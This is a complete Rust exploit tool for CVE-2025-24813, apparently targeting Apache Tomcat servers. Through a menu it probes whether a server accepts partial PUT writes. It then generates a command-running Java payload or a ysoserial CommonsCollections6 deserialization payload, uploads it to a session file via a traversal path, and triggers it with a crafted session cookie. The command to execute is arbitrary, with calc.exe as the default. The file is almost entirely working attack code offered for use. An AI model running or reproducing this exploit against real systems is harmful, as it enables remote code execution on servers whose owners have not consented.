use anyhow::{bail, Result};
use regex::Regex;
use reqwest::{Client, StatusCode};
use std::io::{self, Write};
use std::path::Path;
use std::process::{Command, Stdio};
use std::time::Duration;
use tokio::fs::{read, remove_file};

const BANNER: &str = r#"
 ██████╗██╗   ██╗███████╗    ██████╗ ██████╗ ██████╗ ██████╗
██╔════╝██║   ██║██╔────╝    ╚════██╗██╔══██╗██╔══██╗██╔══██╗
██║     ██║   ██║█████╗█████╗█████╔╝██████╔╝██████╔╝██║  ██║
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔══██╗██╔══██╗██╔══██╗██║  ██║
╚██████╗ ╚████╔╝ ███████╗    ██████╔╝██║  ██║██║  ██║██████╔╝
 ╚═════╝  ╚═══╝  ╚══════╝    ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═╝╚═════╝
"#;

/// // Sanitize IPv6 URL
fn sanitize_target(raw: &str) -> String {
    let fixed = raw.replace("[[", "[").replace("]]", "]");
    if fixed.starts_with("http://") || fixed.starts_with("https://") {
        fixed
    } else {
        format!("http://{}", fixed)
    }
}

/// // Prompt helper
fn prompt(message: &str, default: Option<&str>) -> String {
    print!("{}{}: ", message, default.map_or("".to_string(), |d| format!(" [{}]", d)));
    io::stdout().flush().unwrap();
    let mut buf = String::new();
    io::stdin().read_line(&mut buf).unwrap();
    let input = buf.trim();
    if input.is_empty() {
        default.unwrap_or("").to_string()
    } else {
        input.to_string()
    }
}

/// // Check if server is writable
async fn check_writable_servlet(client: &Client, target_url: &str, host: &str, port: &str) -> Result<bool> {
    let check_url = format!("{}/check.txt", target_url);
    let res = client
        .put(&check_url)
        .header("Host", format!("{host}:{port}"))
        .header("Content-Length", "10000")
        .header("Content-Range", "bytes 0-1000/1200")
        .body("testdata".to_string())
        .timeout(Duration::from_secs(10))
        .send()
        .await?;

    if res.status() == StatusCode::OK || res.status() == StatusCode::CREATED {
        println!("[+] Server is writable via PUT: {check_url}");
        Ok(true)
    } else {
        println!("[-] Server not writable: HTTP {}", res.status());
        Ok(false)
    }
}

/// // Generate a raw Java payload JAR via `javac` and `jar`
fn generate_java_payload(command: &str, payload_file: &str) -> Result<()> {
    let payload_java = format!(
        r#"
import java.io.IOException;
import java.io.PrintWriter;

public class Exploit {{
    static {{
        try {{
            String cmd = "{cmd}";
            java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(
                Runtime.getRuntime().exec(cmd).getInputStream()
            ));
            String line;
            StringBuilder output = new StringBuilder();
            while ((line = reader.readLine()) != null) {{
                output.append(line).append("\\n");
            }}
            PrintWriter out = new PrintWriter(System.out);
            out.println(output.toString());
            out.flush();
        }} catch (IOException e) {{
            e.printStackTrace();
        }}
    }}
}}
"#,
        cmd = command
    );

    println!("[*] Generating Java payload using system javac and jar...");

    std::fs::write("Exploit.java", &payload_java)?;
    let compile = Command::new("javac").arg("Exploit.java").status()?;
    if !compile.success() {
        bail!("[-] javac failed. Make sure JDK is installed.");
    }

    let package = Command::new("jar")
        .args(["cfe", payload_file, "Exploit", "Exploit.class"])
        .status()?;

    if !package.success() {
        bail!("[-] jar packaging failed.");
    }

    std::fs::remove_file("Exploit.java").ok();
    std::fs::remove_file("Exploit.class").ok();

    println!("[+] Java payload JAR created: {}", payload_file);
    Ok(())
}

/// // Generate ysoserial payload
fn generate_ysoserial_payload(command: &str, ysoserial_path: &str, gadget: &str, payload_file: &str) -> Result<()> {
    if !Path::new(ysoserial_path).exists() {
        bail!("[-] Error: {} not found", ysoserial_path);
    }

    println!("[*] Generating ysoserial payload: {}", command);
    let output = Command::new("java")
        .args(["-jar", ysoserial_path, gadget, &format!("cmd.exe /c {}", command)])
        .stdout(Stdio::piped())
        .spawn()?
        .wait_with_output()?;

    std::fs::write(payload_file, output.stdout)?;
    println!("[+] Payload generated: {payload_file}");
    Ok(())
}

/// // Upload and verify payload
async fn upload_and_verify_payload(
    client: &Client,
    target_url: &str,
    host: &str,
    port: &str,
    session_id: &str,
    payload_file: &str,
) -> Result<bool> {
    let exploit_url = format!("{}/uploads/../sessions/{}.session", target_url, session_id);
    let payload = read(payload_file).await?;

    let res = client
        .put(&exploit_url)
        .header("Host", format!("{host}:{port}"))
        .header("Content-Length", "10000")
        .header("Content-Range", "bytes 0-1000/1200")
        .body(payload)
        .send()
        .await?;

    if res.status() == StatusCode::CONFLICT {
        println!("[+] Upload successful (409): {}", exploit_url);

        let confirm = client
            .get(target_url)
            .header("Cookie", "JSESSIONID=absholi7ly")
            .send()
            .await?;

        if confirm.status() == StatusCode::INTERNAL_SERVER_ERROR {
            println!("[+] Exploit triggered! Server returned 500.");
            Ok(true)
        } else {
            println!("[-] Trigger failed: {}", confirm.status());
            Ok(false)
        }
    } else {
        println!("[-] Upload failed: HTTP {}", res.status());
        Ok(false)
    }
}

/// // Get session ID
async fn get_session_id(client: &Client, target_url: &str) -> Result<String> {
    let res = client
        .get(&format!("{}/index.jsp", target_url))
        .send()
        .await?;

    let body = res.text().await?;
    let re = Regex::new(r"Session ID: (\w+)")?;

    if let Some(caps) = re.captures(&body) {
        return Ok(caps[1].to_string());
    }

    println!("[-] No session ID found. Using default.");
    Ok("absholi7ly".to_string())
}

/// // Exploit logic
async fn execute_exploit(
    target_url: &str,
    port: &str,
    command: &str,
    ysoserial_path: &str,
    gadget: &str,
    payload_type: &str,
    verify_ssl: bool,
) -> Result<()> {
    let host = target_url.split("://").nth(1).unwrap_or(target_url).trim_matches('/').split(':').next().unwrap();
    let client = Client::builder().danger_accept_invalid_certs(!verify_ssl).build()?;
    let session_id = get_session_id(&client, target_url).await?;

    println!("[*] Session ID: {session_id}");

    if check_writable_servlet(&client, target_url, host, port).await? {
        let payload_file = "payload.ser";

        match payload_type {
            "java" => generate_java_payload(command, payload_file)?,
            "ysoserial" => generate_ysoserial_payload(command, ysoserial_path, gadget, payload_file)?,
            _ => bail!("[-] Invalid payload type: {}", payload_type),
        }

        if upload_and_verify_payload(&client, target_url, host, port, &session_id, payload_file).await? {
            println!("[+] Target vulnerable to CVE-2025-24813!");
        } else {
            println!("[-] Exploit failed or target not vulnerable.");
        }

        remove_file(payload_file).await.ok();
    }

    Ok(())
}

/// // Entry point
pub async fn run(target: &str) -> Result<()> {
    println!("{BANNER}");

    let mut target = sanitize_target(target);
    println!("[+] Target sanitized: {}", target);

    let mut command = String::from("calc.exe");
    let mut port = prompt("Enter port (default 8080)", Some("8080"));
    println!("[+] Default port set to {}", port);

    let mut ysoserial_path = String::from("ysoserial.jar");
    let mut gadget = String::from("CommonsCollections6");
    let mut payload_type = String::from("ysoserial");
    let mut ssl_verify = true;

    loop {
        println!(
            r#"
=== MENU ===
1. Set Target URL     (current: {target})
2. Set Command        (current: {command})
3. Set Port           (current: {port})
4. Set ysoserial Path (current: {ysoserial_path})
5. Set Gadget         (current: {gadget})
6. Set Payload Type   (current: {payload_type})
7. Toggle SSL Verify  (current: {ssl_verify})
8. Run Exploit
9. Exit
"#
        );

        let selection = prompt("Select an option", None);
        match selection.as_str() {
            "1" => {
                target = prompt("Enter target URL", Some(&target));
                println!("[+] Target updated: {target}");
            }
            "2" => {
                command = prompt("Enter command to execute", Some(&command));
                println!("[+] Command set: {command}");
            }
            "3" => {
                port = prompt("Enter port", Some(&port));
                println!("[+] Port set: {port}");
            }
            "4" => {
                ysoserial_path = prompt("Path to ysoserial.jar", Some(&ysoserial_path));
                println!("[+] ysoserial path set: {ysoserial_path}");
            }
            "5" => {
                gadget = prompt("Enter gadget", Some(&gadget));
                println!("[+] Gadget set: {gadget}");
            }
            "6" => {
                payload_type = prompt("Payload type (ysoserial/java)", Some(&payload_type));
                if payload_type != "ysoserial" && payload_type != "java" {
                    println!("[-] Invalid type. Only 'ysoserial' or 'java' supported.");
                    payload_type = "ysoserial".into();
                } else {
                    println!("[+] Payload type set: {payload_type}");
                }
            }
            "7" => {
                ssl_verify = !ssl_verify;
                println!("[!] SSL verification toggled: {ssl_verify}");
            }
            "8" => break,
            "9" => {
                println!("[!] Exiting without running exploit.");
                return Ok(());
            }
            _ => println!("[-] Invalid option. Please choose 1-9."),
        }
    }

    println!("[*] Starting exploit with:");
    println!("    Target URL   : {target}");
    println!("    Command      : {command}");
    println!("    Port         : {port}");
    println!("    ysoserial    : {ysoserial_path}");
    println!("    Gadget       : {gadget}");
    println!("    SSL Verify   : {ssl_verify}");

    execute_exploit(&target, &port, &command, &ysoserial_path, &gadget, &payload_type, ssl_verify).await
}
